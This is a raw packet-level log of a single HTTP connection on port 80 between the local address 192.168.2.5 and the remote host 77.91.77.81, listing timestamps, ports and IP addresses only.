Jun 20, 2024 15:38:07.508903980 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.508910894 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.508956909 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.512392044 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.512403011 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.512413979 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.512455940 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.512501955 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.512537003 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.512547970 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.512558937 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.512587070 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.512603998 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.512609959 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.512617111 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.512650967 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.512696981 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.512697935 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.512710094 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.512722015 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.512746096 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.512777090 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.512797117 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.512809038 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.512820959 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.512855053 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.512891054 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.513490915 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.513501883 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.513513088 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.513545036 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.513576984 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.513582945 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.513628960 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.513803005 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.513814926 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.513827085 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.513854027 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.513885975 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.513921976 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.513932943 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.513943911 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.513955116 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.513983011 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.514019966 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.514019966 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.514151096 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.514163017 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.514173985 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.514189959 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.514199972 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.514200926 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.514214039 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.514225006 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.514230013 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.514230013 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.514236927 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.514251947 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.514264107 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.514283895 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.514312983 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.514405966 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.514417887 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.514430046 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.514452934 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.514484882 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.514513016 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.514525890 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.514534950 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.514560938 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.514590979 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.514710903 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.514723063 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.514733076 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.514744043 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.514755011 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.514765978 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.514767885 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.514780045 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.514796019 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.514827967 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.514975071 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.514986038 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.514997959 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.515014887 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.515027046 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.515027046 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.515038013 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.515048981 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.515048981 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.515062094 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.515070915 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.515073061 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.515084982 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.515096903 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.515104055 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.515119076 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.515130043 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.515141010 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.515145063 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.515145063 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.515152931 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.515171051 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.515192032 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.536115885 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.536128998 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.536142111 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.536190033 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.536212921 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.536225080 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.536225080 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.536237001 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.536259890 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.536283970 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.536401987 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.536412954 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.536422968 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.536433935 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.536448002 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.536511898 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.536513090 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.536513090 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.536549091 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.536560059 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.536571026 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.536592960 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.536619902 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.562330008 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.562345982 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.562361002 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.562412024 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.562469959 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.562484026 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.562495947 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.562508106 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.562603951 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.562603951 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.562603951 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.562603951 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.562604904 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.595284939 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.595297098 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.595308065 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.595319033 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.595329046 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.595345974 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.595355034 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.595356941 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.595367908 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.595381021 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.595410109 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.595484972 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.595536947 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.595556021 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.595573902 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.595586061 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.595597982 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.595604897 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.595611095 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.595626116 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.595654964 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.595684052 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.595788002 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.595799923 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.595810890 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.595820904 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.595832109 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.595838070 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.595868111 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.595896959 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.595933914 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.595946074 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.595985889 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.599862099 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.599875927 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.599884987 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.599932909 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.599945068 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.599981070 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.600003004 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.600024939 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.600023985 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.600074053 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.600102901 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.600115061 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.600126028 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.600157022 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.600187063 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.600267887 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.600279093 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.600290060 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.600318909 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.600348949 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.600409985 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.600420952 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.600430965 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.600440979 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.600452900 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.600475073 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.600516081 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.600521088 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.600534916 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.600544930 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.600555897 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.600564957 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.600575924 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.600595951 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.600626945 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.600696087 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.600713015 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.600723028 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.600747108 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.600778103 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.600791931 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.600802898 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.600812912 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.600824118 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.600863934 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.600863934 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.600900888 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.601002932 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.601013899 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.601022959 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.601033926 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.601047039 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.601053953 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.601062059 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.601089954 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.601119041 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.601130962 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.601142883 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.601178885 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.601208925 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.601222038 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.601233006 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.601243973 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.601254940 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.601284027 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.601315975 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.601316929 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.601351023 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.601398945 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.601421118 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.601433039 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.601471901 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.601520061 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.601532936 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.601541996 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.601560116 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.601567984 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.601572037 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.601583958 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.601596117 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.601586103 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.601613045 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.601639032 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.601674080 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.601674080 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.601746082 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.601792097 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.601850033 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.601861954 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.601871967 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.601883888 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.601896048 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.601896048 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.601907969 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.601919889 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.601924896 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.601933956 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.601950884 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.601970911 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.602125883 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.602137089 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.602147102 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.602158070 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.602169991 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.602169991 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.602189064 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.602216959 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.602325916 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.602336884 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.602348089 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.602360010 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.602370977 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.602374077 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.602386951 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.602397919 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.602406025 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.602432013 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.602446079 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.622891903 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.622905016 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.622915983 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.622960091 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.622998953 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.623034954 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.623045921 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.623056889 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.623074055 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.623080969 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.623106956 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.623126030 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.649544001 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.649555922 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.649566889 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.649620056 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.649630070 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.649636984 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.649640083 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.649652004 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.649662018 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.649673939 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.649697065 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.649710894 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.649745941 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.649756908 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.649766922 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.649777889 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.649790049 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.649801016 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.649810076 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.649841070 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.681685925 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.681705952 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.681718111 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.681761980 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.681785107 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.681835890 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.681848049 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.681859016 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.681871891 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.681888103 CEST	49706	80	192.168.2.5	77.91.77.81
